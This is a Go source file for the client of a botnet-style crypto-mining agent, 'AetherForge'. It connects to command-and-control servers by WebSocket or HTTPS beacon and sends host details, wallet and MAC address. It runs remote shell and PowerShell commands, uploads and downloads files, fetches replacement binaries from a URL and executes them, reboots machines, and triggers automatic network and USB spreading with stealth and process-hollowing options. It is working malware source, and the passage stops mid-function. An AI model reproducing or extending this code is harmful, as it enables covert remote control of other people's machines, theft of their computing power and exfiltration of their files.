AetherForge/agent/client/client.go

package client

import (
	"context"
	"encoding/base64"
	"encoding/json"
	"fmt"
	"io"
	"log"
	"math/rand"
	"net"
	"net/http"
	"net/url"
	"os"
	"path/filepath"
	"runtime"
	"strings"
	"sync"
	"sync/atomic"
	"time"

	"crypto-miner-agent/config"
	"crypto-miner-agent/deploy"
	"crypto-miner-agent/job"
	"crypto-miner-agent/miner"
	"crypto-miner-agent/stats"
	"crypto-miner-agent/vulnprobe"

	"github.com/gorilla/websocket"
)

type AgentClient struct {
	cfg       config.RuntimeConfig
	conn      *websocket.Conn
	pool      *miner.Pool
	reporter  *stats.Reporter
	startTime time.Time
	aiRunner  *AIRunner
	mesh      *MeshNode

	mu              sync.Mutex
	agentID         string
	sharesSubmitted int
	sharesAccepted  int
	gpuMiner        *GPUMiner

	// connected is true while a C2 WebSocket session is active.
	// The Stratum fallback manager monitors this to decide when to mine directly.
	connected atomic.Bool

	// containerMiner supervises OCI-isolated CPU mining (container / docker_load tiers).
	containerMiner *miner.ContainerLauncher
	// wslMiner supervises CPU mining inside WSL2 via wsl.exe -e.
	wslMiner *miner.WSLLauncher
	// psMiner hosts in-memory assembly / encoded-command mining via powershell.exe.
	psMiner *miner.PowerShellLauncher
	// dotnetMiner compiles and runs a LOTL Stratum stub via dotnet/msbuild.
	dotnetMiner *miner.DotnetLauncher
	// hostMiningDisabled is true when a healthy container handles RandomX on the host.
	hostMiningDisabled atomic.Bool
	// miningChain orchestrates container → in-process → GPU → Stratum cascade.
	miningChain *MiningChainRunner
	// contingency runs the autonomous onion contingency tree when server policy enables it.
	contingency *ContingencyRunner
	// tierPolicy is server-pulled LOTL onion ordering (auth_response / policy_update).
	tierPolicy miner.MiningTierPolicy
	// adaptiveStrategy holds server reasoning trace for diagnostics/UI.
	adaptiveStrategy AdaptiveStrategy
	// atlasSkips are fleet-learned hard subtree blocks from the failure atlas.
	atlasSkips []AtlasSkip
	// atlasLanGossipEnabled is opt-in via server auth policy.
	atlasLanGossipEnabled bool
	// gossipSent dedupes LAN gossip broadcasts per tier+condition.
	gossipSent map[string]struct{}
	// inheritedPhenotype is the sibling clone payload from auth (for AI snapshot / diagnostics).
	inheritedPhenotype *InheritedPhenotype
	// pendingGraft is a court-approved strain splice applied on the next spread.
	pendingGraft *GraftPolicy
	// triplePolicy is server-pulled recon → deploy → mining gate policy.
	triplePolicy       miner.TripleOnionPolicy
	triplePolicyLoaded bool
	// joinLane is the last successful discover_and_join supply-chain lane.
	joinLane string
	// clearanceLevel is the server-granted security clearance (L0–L4).
	clearanceLevel int
	// fleetRoleHintVal is the server-pulled role for fleet_role=auto forges.
	fleetRoleHintVal string
	// lanSeeders lists nearby seeders for miner staging pulls (webrtc/do_peer).
	lanSeeders []deploy.LANSeederHint
	// fleetTorrentEnabled enables shard DHT gossip + peer fetch (server policy).
	fleetTorrentEnabled bool
	// subnetPrimarySeeder is true when auth designates this agent as subnet primary seeder.
	subnetPrimarySeeder bool

	// lastJobAt records when the most recent valid mining job was delivered.
	// The Stratum fallback manager uses this to detect "connected but jobless"
	// situations and start direct Stratum mining after a timeout.
	lastJobAt atomic.Value // stores time.Time

	// spreadOnce ensures AutoSpreader starts at most once — after the first
	// successful WS authentication confirms we are on an owned fleet.
	spreadOnce sync.Once

	// commandResultHook is set in tests to observe sendCommandResult without a live WS.
	commandResultHook func(action string, success bool, message string)

	// beaconMode is true while commands/results use HTTPS beacon transport.
	beaconMode atomic.Bool
	// wsDownSince is set when WebSocket dial/auth fails; cleared on successful WS auth.
	wsDownSince atomic.Value // stores time.Time
	// miningCtx is the lifetime context for mining/contingency goroutines.
	miningCtx context.Context
}

func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
	c := &AgentClient{
		cfg:       cfg,
		reporter:  stats.NewReporter(),
		startTime: time.Now(),
		agentID:   cfg.AgentID,
	}
	c.mesh = NewMeshNode(c)
	c.initSpreadCredHooks()
	return c
}

func (c *AgentClient) Run() error {
	if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
		age := time.Since(c.cfg.BuiltAt)
		limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
		if age >= limit {
			log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
			return nil
		}
	}

	isSeeder := c.cfg.IsSeederRole(c.fleetRoleHint())

	if !isSeeder {
		threads := c.cfg.EffectiveThreads()
		c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
		c.pool.Start()
		defer c.pool.Stop()
	}

	chainCtx, chainCancel := context.WithCancel(context.Background())
	defer chainCancel()
	c.miningCtx = chainCtx
	c.miningChain = c.newMiningChainRunner()
	if isSeeder {
		deploy.StartSeederStaging(c.cfg)
	} else if deploy.WantsDeferMining() {
		go c.startMiningWhenReady(chainCtx)
	} else {
		c.miningChain.Start(chainCtx)
	}
	if !isSeeder {
		defer c.miningChain.Stop()
	}

	// Start AI Autonomy runner if enabled (miners only — seeders have no pool).
	if c.cfg.AIEnabled && !isSeeder {
		c.aiRunner = NewAIRunner(c.cfg, c.reporter, c.pool)
		c.aiRunner.shareStats = func() (int, int) {
			c.mu.Lock()
			defer c.mu.Unlock()
			return c.sharesSubmitted, c.sharesAccepted
		}
		c.aiRunner.Start()
		defer c.aiRunner.Stop()
	}

	// Start libp2p Mesh Discovery
	if c.cfg.MeshP2P {
		if err := c.mesh.Start(); err != nil {
			log.Printf("[Mesh] Failed to start: %v", err)
		}
		defer c.mesh.Stop()
	}

	if !isSeeder {
		// Stratum fallback manager — starts direct pool mining after 30 s of C2 absence.
		fallbackDone := make(chan struct{})
		fallbackManagerDone := make(chan struct{})
		go func() {
			defer close(fallbackManagerDone)
			c.stratumFallbackManager(fallbackDone)
		}()
		defer func() {
			close(fallbackDone)
			<-fallbackManagerDone
		}()
	}

	// Build deduped server list: primary first, then backups.
	// On each failure we advance to the next URL so the fleet never
	// goes dark when the primary host reboots.
	serverURLs := buildServerURLList(c.cfg)
	log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)

	probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
	log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
		probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)

	urlIdx := 0
	backoff, maxBackoff := c.reconnectBackoff()
	for {
		target := serverURLs[urlIdx%len(serverURLs)]
		start := time.Now()
		// Restore C2 share handler before connecting (in case Stratum had it).
		if c.pool != nil {
			c.pool.SetShareHandler(c.submitShare)
		}
		if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
			log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
			if err := c.beaconOnce(target); err != nil {
				log.Printf("[agent] beacon failed on %s: %v", target, err)
				c.markWSDownSince()
			} else {
				c.sleepReconnect(c.beaconInterval())
			}
		}
		if err := c.connectLoop(target); err != nil {
			log.Printf("[agent] disconnected from %s: %v", target, err)
			c.markWSDownSince()
		}
		// Advance to next URL so the next reconnect tries a different server
		urlIdx++
		if time.Since(start) > 10*time.Second {
			backoff, maxBackoff = c.reconnectBackoff()
		}
		c.sleepReconnect(backoff)
		backoff += c.reconnectBackoffStep()
		if backoff > maxBackoff {
			backoff = maxBackoff
		}
	}
}

func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
	sec := c.cfg.BeaconIntervalSec
	if sec <= 0 {
		sec = 5
	}
	base := time.Duration(sec) * time.Second
	max := 60 * time.Second
	if base*12 > max {
		max = base * 12
	}
	return base, max
}

func (c *AgentClient) reconnectBackoffStep() time.Duration {
	sec := c.cfg.BeaconIntervalSec
	if sec <= 0 {
		sec = 5
	}
	return time.Duration(sec) * time.Second
}

func (c *AgentClient) sleepReconnect(d time.Duration) {
	jitter := c.cfg.BeaconJitterPct
	if jitter > 0 {
		if jitter > 100 {
			jitter = 100
		}
		factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
		d = time.Duration(float64(d) * factor)
	}
	time.Sleep(d)
}

// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
func buildServerURLList(cfg config.RuntimeConfig) []string {
	seen := map[string]bool{}
	var urls []string
	add := func(u string) {
		u = strings.TrimSpace(u)
		if u == "" || seen[u] {
			return
		}
		seen[u] = true
		urls = append(urls, u)
	}
	add(cfg.ServerURL)
	for _, u := range cfg.BackupServerURLs {
		add(u)
	}
	if len(urls) == 0 {
		urls = []string{cfg.ServerURL}
	}
	return urls
}

func (c *AgentClient) connectLoop(serverURL string) error {
	wsURL, err := buildWSURL(serverURL)
	if err != nil {
		return err
	}

	log.Printf("[agent] connecting to %s", wsURL)
	dialer := websocket.Dialer{HandshakeTimeout: 45 * time.Second}
	conn, _, err := dialer.Dial(wsURL, nil)
	if err != nil {
		return err
	}
	if tc, ok := conn.UnderlyingConn().(*net.TCPConn); ok {
		_ = tc.SetKeepAlive(true)
		_ = tc.SetKeepAlivePeriod(30 * time.Second)
	}
	c.conn = conn
	defer conn.Close()

	conn.SetPongHandler(func(string) error {
		return conn.SetReadDeadline(time.Now().Add(90 * time.Second))
	})

	if err := c.authenticate(); err != nil {
		return err
	}
	c.connected.Store(true)
	defer c.connected.Store(false)

	statsStop := make(chan struct{})
	go c.statsLoop(statsStop)
	defer close(statsStop)

	for {
		conn.SetReadDeadline(time.Now().Add(90 * time.Second))
		_, data, err := conn.ReadMessage()
		if err != nil {
			return err
		}
		var msg Message
		if err := json.Unmarshal(data, &msg); err != nil {
			continue
		}
		c.handleMessage(msg)
	}
}

func primaryMACAddress() string {
	ifaces, err := net.Interfaces()
	if err != nil {
		return ""
	}
	for _, iface := range ifaces {
		if iface.Flags&net.FlagUp == 0 || iface.Flags&net.FlagLoopback != 0 {
			continue
		}
		if len(iface.HardwareAddr) == 0 {
			continue
		}
		return iface.HardwareAddr.String()
	}
	return ""
}

func (c *AgentClient) authenticate() error {
	host, cores, memGB := c.reporter.SystemInfo()
	backupPools := make([]BackupPoolEntry, len(c.cfg.BackupPools))
	for i, bp := range c.cfg.BackupPools {
		backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
	}

	authPayload := AuthPayload{
		AgentID:          c.agentID,
		FleetSecret:      c.cfg.FleetSecret,
		Wallet:           c.cfg.Wallet,
		BackupPools:      backupPools,
		Version:          config.Version,
		Hostname:         host,
		CPUCores:         cores,
		MemoryGB:         memGB,
		Worker:           c.cfg.WorkerName,
		PoolHost:         c.cfg.PoolHost,
		PoolPort:         c.cfg.PoolPort,
		PoolTLS:          c.cfg.PoolTLS,
		PoolPass:         c.cfg.PoolPass,
		AIEnabled:        c.cfg.AIEnabled,
		AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
		AIModel:          c.cfg.AIModel,
		HolePunch:        c.cfg.HolePunch,
		RemoteAggressive: c.cfg.RemoteAggressive,
		MeshP2P:          c.cfg.MeshP2P,
		AutoSpread:       c.cfg.AutoSpread,
		ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
		Platform:         c.cfg.RegistrationPlatform(),
		Arch:             runtime.GOARCH,
		OSVersion:        deploy.HostOSVersion(),
		MacAddress:       primaryMACAddress(),
		BuildID:          c.cfg.BuildID,
		USBSpread:            c.cfg.USBSpread,
		Campaign:             strings.TrimSpace(os.Getenv("AETHER_CAMPAIGN")),
		UTM:                  strings.TrimSpace(os.Getenv("AETHER_UTM")),
		LotlOnionEnabled:     c.cfg.LotlOnionEnabled,
		LotlPolicyFromServer: c.cfg.LotlPolicyFromServer,
		JoinLane:             c.getJoinLane(),
		FleetRole:            config.NormalizeFleetRole(c.cfg.FleetRole),
		SeederMode:           c.cfg.SeederMode,
	}
	parentID, spreadGen, spreadStrain := c.cfg.GenealogyReport(c.getJoinLane())
	authPayload.ParentAgentID = parentID
	authPayload.SpreadGeneration = spreadGen
	authPayload.SpreadStrain = spreadStrain
	payload, _ := json.Marshal(authPayload)
	if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
		return err
	}

	_, data, err := c.conn.ReadMessage()
	if err != nil {
		return err
	}
	var msg Message
	if err := json.Unmarshal(data, &msg); err != nil {
		return err
	}
	if msg.Type != "auth_response" {
		return fmt.Errorf("unexpected message: %s", msg.Type)
	}
	var resp AuthResponse
	if err := json.Unmarshal(msg.Payload, &resp); err != nil {
		return err
	}
	if !resp.Success {
		return fmt.Errorf("auth failed: %s", resp.Error)
	}
	c.applyAuthLotlPolicy(resp)
	c.startContingencyIfEnabled(c.miningCtx)
	c.applyAuthFleetRole(resp)
	deploy.SetFleetTorrentGossipFn(c.writeFleetTorrentGossip)
	c.applyAuthSubnetRecon(resp)
	c.startCloudMapSync()
	if resp.FleetTorrentEnabled {
		c.advertiseFleetTorrentHealthy()
	}
	c.agentID = resp.AgentID
	c.mu.Lock()
	c.cfg.AgentID = resp.AgentID
	c.mu.Unlock()
	c.startSubnetReconAfterAuth()
	if resp.ClearanceLevel > 0 {
		c.mu.Lock()
		c.clearanceLevel = resp.ClearanceLevel
		c.mu.Unlock()
	}
	if c.cfg.LotlPolicyFromServer && len(resp.LotlOnionTiers) > 0 {
		c.mu.Lock()
		c.cfg.LotlOnionTiers = deploy.NormalizeLotlTiers(resp.LotlOnionTiers)
		if c.cfg.IsSeederRole(c.fleetRoleHint()) {
			c.cfg.LotlOnionTiers = config.FilterSeederLotlTiers(c.cfg.LotlOnionTiers)
		}
		cfg := c.cfg
		c.mu.Unlock()
		log.Printf("[agent] LOTL onion tiers pulled from server: %v", cfg.LotlOnionTiers)
	}
	if seeders := c.lanSeedersSnapshot(); len(seeders) > 0 {
		localIP, _ := deploy.PrimaryLocalIPv4()
		deploy.SetLANSeederHints(seeders, localIP)
	}
	c.clearWSDownSince()
	log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
	// Persist the server-confirmed ID so restarts always reconnect as the same agent.
	if installDir, err := c.cfg.InstallDirectory(); err == nil {
		_ = deploy.PersistAgentID(installDir, c.agentID)
	}

	// Gate AutoSpread behind successful server auth: only spread on fleets where
	// our fleet secret was accepted, preventing lateral movement on non-owned networks.
	c.spreadOnce.Do(func() {
		c.mu.Lock()
		cfg := c.cfg
		c.mu.Unlock()
		if cfg.ScoutMode {
			c.startScoutRoving()
			return
		}
		if cfg.AutoSpread {
			deploy.StartAutoSpreader(cfg)
			if deploy.WantsFirstRunSpread(cfg) {
				deploy.RunSpreadOnce(c.cfgForSpread())
				deploy.ClearFirstRunSpreadMarker(cfg)
			}
		}
		if cfg.LotlOnionEnabled && !cfg.IsSeederRole(c.fleetRoleHint()) {
			deploy.StartLotlOnion(cfg)
		}
	})

	if !c.cfg.IsSeederRole(c.fleetRoleHint()) {
		c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
	}
	return nil
}

func jobPayloadHasError(payload json.RawMessage) bool {
	_, ok := jobPayloadErrorMessage(payload)
	return ok
}

func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
	var raw map[string]json.RawMessage
	if err := json.Unmarshal(payload, &raw); err != nil {
		return "", false
	}
	errMsg, ok := raw["error"]
	if !ok {
		return "", false
	}
	msg := strings.Trim(string(errMsg), `"`)
	if msg == "" {
		return "", false
	}
	return msg, true
}

func (c *AgentClient) handleMessage(msg Message) {
	switch msg.Type {
	case "new_job":
		if jobPayloadHasError(msg.Payload) {
			if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
				log.Printf("[agent] job error from server: %s", msg)
			}
			// Back off 3 seconds before retrying — pool may still be connecting.
			time.AfterFunc(3*time.Second, func() {
				c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			})
			return
		}
		var j job.Job
		if err := json.Unmarshal(msg.Payload, &j); err != nil {
			log.Printf("[agent] bad job payload: %v", err)
			return
		}
		if j.Blob == "" {
			log.Printf("[agent] empty job blob — requesting job again")
			time.AfterFunc(3*time.Second, func() {
				c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
			})
			return
		}
		log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
		c.lastJobAt.Store(time.Now())
		c.pool.SetJob(&j)
	case "share_result":
		var result ShareResult
		if err := json.Unmarshal(msg.Payload, &result); err != nil {
			return
		}
		if result.Accepted {
			c.mu.Lock()
			c.sharesAccepted++
			c.mu.Unlock()
		}
	case "policy_update":
		go c.applyPolicyUpdate(msg.Payload)
	case "graft_policy":
		c.applyGraftPolicyJSON(msg.Payload)
	case "contingency_branch_params":
		c.applyContingencyBranchParamsJSON(msg.Payload)
		if c.contingency != nil && c.miningCtx != nil {
			c.contingency.Resume(c.miningCtx)
		}
	case "adaptive_strategy_update":
		c.applyAdaptiveStrategyJSON(msg.Payload)
	case "ai_snapshot_request":
		go func() {
			hps := c.pool.HashesPerSecond()
			c.pushAISnapshot(hps)
		}()
	case "clearance_update":
		var payload struct {
			ClearanceLevel int `json:"clearance_level"`
		}
		if err := json.Unmarshal(msg.Payload, &payload); err == nil && payload.ClearanceLevel >= 0 {
			c.mu.Lock()
			c.clearanceLevel = payload.ClearanceLevel
			c.mu.Unlock()
		}
	case "atlas_gossip":
		c.handleAtlasGossip(msg.Payload)
	case "fleet_torrent_gossip":
		c.handleFleetTorrentGossip(msg.Payload)
	case "command":
		var cmd struct {
			Action    string `json:"action"`
			TailLines int    `json:"tail_lines"`
			Command   string `json:"command"`
			Path      string `json:"path"`
			Data      string `json:"data"`
			Module    string `json:"module"`
		}
		if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
			return
		}
		// Run off the read loop so long exec/powershell probes do not block
		// subsequent commands or server pings.
		go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
	}
}

func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data, module string) {
	if c.handleAICommand(action, tailLines, command, path, data) {
		return
	}
	if c.handleAggressiveCommand(action, tailLines, command, path, data) {
		return
	}
	switch action {
	case "fetch_module":
		if err := c.fetchAndApplyModule(module); err != nil {
			c.sendCommandResult(action, false, err.Error())
			return
		}
		c.sendCommandResult(action, true, "module "+module+" applied")
	case "start_mining":
		// WSL sidecar: toggle systemd user unit when that tier is active (see wsl_launcher.go).
		if c.wslMiner != nil && c.wslMiner.Running() {
			wslRT := miner.WSLDetector()
			_ = miner.ToggleWSLMining(wslRT, "", true)
		}
		if c.miningChain != nil {
			c.miningChain.Resume(context.Background())
		} else {
			c.pool.ResumeRemote()
		}
		c.sendCommandResult(action, true, "mining started")
	case "pause":
		if c.wslMiner != nil && c.wslMiner.Running() {
			wslRT := miner.WSLDetector()
			_ = miner.ToggleWSLMining(wslRT, "", false)
		}
		if c.contingency != nil {
			c.contingency.Stop()
		}
		if c.miningChain != nil {
			c.miningChain.Stop()
		} else {
			c.pool.PauseRemote()
			if c.containerMiner != nil && c.containerMiner.Running() {
				c.containerMiner.Stop()
			}
			c.mu.Lock()
			gm := c.gpuMiner
			c.mu.Unlock()
			if gm != nil {
				gm.Pause()
			}
		}
		c.sendCommandResult(action, true, "mining paused")
	case "resume":
		if c.contingency != nil && c.miningCtx != nil {
			c.contingency.Resume(c.miningCtx)
		}
		if c.miningChain != nil {
			c.miningChain.Resume(context.Background())
		} else {
			if c.containerMiner != nil && !c.containerMiner.Running() {
				if err := c.containerMiner.Start(); err != nil {
					log.Printf("[container] resume restart failed: %v — using in-process mining", err)
					c.hostMiningDisabled.Store(false)
					c.pool.ResumeRemote()
				} else {
					c.hostMiningDisabled.Store(true)
					c.pool.PauseRemote()
				}
			} else if !c.hostMiningDisabled.Load() {
				c.pool.ResumeRemote()
			}
			c.mu.Lock()
			gm := c.gpuMiner
			c.mu.Unlock()
			if gm != nil {
				gm.Resume()
			}
		}
		c.sendCommandResult(action, true, "fleet health: hashing restored")
	case "restart":
		c.sendCommandResult(action, true, "restarting")
		go c.restartSelf()
	case "stop", "kill":
		c.sendCommandResult(action, true, "stopping")
		go c.stopSelf()
	case "uninstall":
		c.sendCommandResult(action, true, "uninstalling")
		go func() {
			time.Sleep(500 * time.Millisecond)
			if err := deploy.Uninstall(c.cfg); err != nil {
				log.Printf("[agent] remote uninstall failed: %v", err)
			}
		}()
	case "reboot_machine":
		go func() {
			time.Sleep(500 * time.Millisecond)
			if err := c.execPowerCommand("reboot"); err != nil {
				c.sendCommandResult(action, false, "reboot failed: "+err.Error())
			} else {
				c.sendCommandResult(action, true, "system reboot initiated")
			}
		}()
	case "shutdown_machine":
		go func() {
			time.Sleep(500 * time.Millisecond)
			if err := c.execPowerCommand("shutdown"); err != nil {
				c.sendCommandResult(action, false, "shutdown failed: "+err.Error())
			} else {
				c.sendCommandResult(action, true, "system shutdown initiated")
			}
		}()
	case "mining_diagnostics":
		c.sendCommandResult(action, true, c.miningDiagnosticsJSON())
	case "get_log":
		if tailLines <= 0 {
			tailLines = 300
		}
		content, err := readLogTail(c.cfg, tailLines)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return
		}
		payload, _ := json.Marshal(map[string]interface{}{
			"content": content,
			"lines":   tailLines,
		})
		_ = c.write(Message{Type: "log_tail", Payload: payload})
		preview := content
		if len(preview) > 12000 {
			preview = preview[len(preview)-12000:]
		}
		c.sendCommandResult(action, true, preview)
	case "exec":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runExecCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "powershell":
		if command == "" {
			c.sendCommandResult(action, false, "no command provided")
			return
		}
		out, err := c.runShellCommand(command)
		if err != nil {
			c.sendCommandResult(action, false, formatCmdErr(err, out))
			return
		}
		c.sendCommandResult(action, true, string(out))
	case "upload", "push_desktop":
		if data == "" {
			c.sendCommandResult(action, false, "data (base64) is required")
			return
		}
		dest := path
		if action == "push_desktop" {
			name := strings.TrimSpace(path)
			if name == "" {
				name = strings.TrimSpace(command)
			}
			var err error
			dest, err = deploy.ResolveDesktopFile(name)
			if err != nil {
				c.sendCommandResult(action, false, "desktop path: "+err.Error())
				return
			}
		} else if dest == "" {
			c.sendCommandResult(action, false, "path and data (base64) are required")
			return
		} else {
			resolved, err := deploy.ResolveRemotePath(dest)
			if err != nil {
				c.sendCommandResult(action, false, err.Error())
				return
			}
			dest = resolved
		}
		decoded, err := base64.StdEncoding.DecodeString(data)
		if err != nil {
			c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
			return
		}
		if err := os.MkdirAll(filepath.Dir(dest), 0o755); err != nil {
			c.sendCommandResult(action, false, "failed to create directory: "+err.Error())
			return
		}
		if err := os.WriteFile(dest, decoded, 0644); err != nil {
			c.sendCommandResult(action, false, "failed to write file: "+err.Error())
			return
		}
		c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", dest, len(decoded)))
	case "download":
		if path == "" {
			c.sendCommandResult(action, false, "path is required")
			return
		}
		resolved, err := deploy.ResolveRemotePath(path)
		if err != nil {
			c.sendCommandResult(action, false, err.Error())
			return
		}
		b, err := os.ReadFile(resolved)
		if err != nil {
			c.sendCommandResult(action, false, "failed to read file: "+err.Error())
			return
		}
		encoded := base64.StdEncoding.EncodeToString(b)
		c.sendCommandResult(action, true, encoded)
	case "upgrade":
		// data = download URL for the new binary
		if data == "" {
			c.sendCommandResult(action, false, "no upgrade URL provided")
			return
		}
		go c.performUpgrade(data)
		c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
	case "bof_execute":
		c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
	default:
		if c.handleRegistryCommand(action, path, data) {
			return
		}
		if c.handleFileCommand(action, path, data) {
			return
		}
		if c.handleReconCommand(action, command, path) {
			return
		}
		c.sendCommandResult(action, false, "unknown action")
	}
}

func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
	if c.commandResultHook != nil {
		c.commandResultHook(action, success, message)
		return
	}
	payload, _ := json.Marshal(map[string]interface{}{
		"action":  action,
		"success": success,
		"message": message,
	})
	if c.beaconMode.Load() {
		c.postBeaconResult(payload)
		return
	}
	// If the WebSocket write fails (stalled connection, reconnecting, etc.) fall
	// back to the beacon HTTP path so the result is not silently dropped.
	if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
		c.postBeaconResult(payload)
	}
}

func (c *AgentClient) wsDownSinceTime() time.Time {
	if v := c.wsDownSince.Load(); v != nil {
		if t, ok := v.(time.Time); ok {
			return t
		}
	}
	return time.Time{}
}

func (c *AgentClient) markWSDownSince() {
	if !c.wsDownSinceTime().IsZero() {
		return
	}
	c.wsDownSince.Store(time.Now())
}

func (c *AgentClient) clearWSDownSince() {
	c.wsDownSince.Store(time.Time{})
}

func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
	hps := c.pool.HashesPerSecond()
	c.pool.ResetHashCounter()
	cpuPct, memPct := c.reporter.Usage()
	if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
		cpuPct = sysCPU
	}
	c.mu.Lock()
	submitted := c.sharesSubmitted
	accepted := c.sharesAccepted
	c.mu.Unlock()
	return StatsPayload{
		Hashrate15s:     hps,
		Hashrate1m:      hps,
		Hashrate15m:     hps,
		SharesSubmitted: submitted,
		SharesAccepted:  accepted,
		CPUUsagePct:     cpuPct,
		MemoryUsagePct:  memPct,
		UptimeSeconds:   int(time.Since(c.startTime).Seconds()),
	}, nil
}

func (c *AgentClient) stopSelf() {
	time.Sleep(300 * time.Millisecond)
	c.pool.Stop()
	os.Exit(0)
}

func (c *AgentClient) restartSelf() {
	time.Sleep(300 * time.Millisecond)
	exe, err := os.Executable()
	if err != nil {
		return
	}
	_ = spawnWorker(exe)
	os.Exit(0)
}

// performUpgrade downloads a new binary from downloadURL, replaces the
// installed binary, and restarts. Works around Windows file-locking by
// renaming the running exe to .old before writing the new one.
func (c *AgentClient) performUpgrade(downloadURL string) {
	log.Printf("[agent] upgrade: downloading from %s", downloadURL)
	resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
	if err != nil {
		log.Printf("[agent] upgrade: download failed: %v", err)
		c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
		return
	}
	defer resp.Body.Close()
	if resp.StatusCode != http.StatusOK {
		log.Printf("[agent] upgrade: server returned %s", resp.Status)
		c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
		return
	}

	exe, err := os.Executable()
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
		return
	}
	exe, _ = filepath.Abs(exe)

	// Write new binary to a temp file in the same directory
	newPath := exe + ".new"
	tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
		return
	}
	if _, err := io.Copy(tmp, resp.Body); err != nil {
		tmp.Close()
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
		return
	}
	tmp.Close()

	// On Windows: rename the running exe to .old (allowed), then rename .new into place.
	// On other OSes: direct rename works while the process is running.
	oldPath := exe + ".old"
	_ = os.Remove(oldPath)
	if err := os.Rename(exe, oldPath); err != nil {
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
		return
	}
	if err := os.Rename(newPath, exe); err != nil {
		// Try to roll back
		_ = os.Rename(oldPath, exe)
		_ = os.Remove(newPath)
		c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
		return
	}

	log.Printf("[agent] upgrade: binary replaced, restarting")
	c.sendCommandResult("upgrade", true, "binary replaced — restarting")
	time.Sleep(500 * time.Millisecond)

	if startErr := spawnWorker(exe); startErr != nil {
		log.Printf("[agent] upgrade: restart failed: %v", startErr)
	}
	os.Exit(0)
}

func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
	if !cfg.FileLogging || cfg.StealthMode {
		return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
	}
	if tailLines <= 0 {
		tailLines = 200
	}
	installDir, err := cfg.InstallDirectory()
	if err != nil {
		return "", err
	}
	logPath := filepath.Join(installDir, "miner.log")
	data, err := os.ReadFile(logPath)
	if err != nil {
		if os.IsNotExist(err) {
			return "", fmt.Errorf("miner.log not found")
		}
		return "", err
	}
	lines := strings.Split(string(data), "\n")
	if len(lines) > 0 && lines[len(lines)-1] == "" {
		lines = lines[:len(lines)-1]
	}
	if len(lines) > tailLines {
		lines = lines[len(lines)-tailLines:]
	}
	return strings.Join(lines, "\n"), nil
}

func (c *AgentClient) submitShare(jobID, nonce, hash string) {
	c.mu.Lock()
	c.sharesSubmitted++
	conn := c.conn // read under the same lock to avoid data race
	c.mu.Unlock()

	payload, _ := json.Marshal(SharePayload{
		JobID:  jobID,
		Nonce:  nonce,
		Hash:   hash,
		Worker: c.cfg.WorkerName,
	})

	if conn != nil {
		_ = c.write(Message{Type: "submit_share", Payload: payload})
	} else if c.cfg.MeshP2P {
		c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
	}
}

// probeSSH returns true if an SSH daemon is listening on port 22 locally.
func probeSSH() bool {
	conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
	if err != nil {
		return false
	}
	conn.Close()
	return true
}

func (c *AgentClient) stratumEgress(stratumOverlay bool) string {
	if stratumOverlay {
		return "direct"
	}
	if c.connected.Load() {
		return "c2_ws"
	}
	return "none"
}

// writeMinerStatsFile persists live hashrate for container host relay (MINER_STATS_FILE env).
func (c *AgentClient) writeMinerStatsFile(hps float64) {
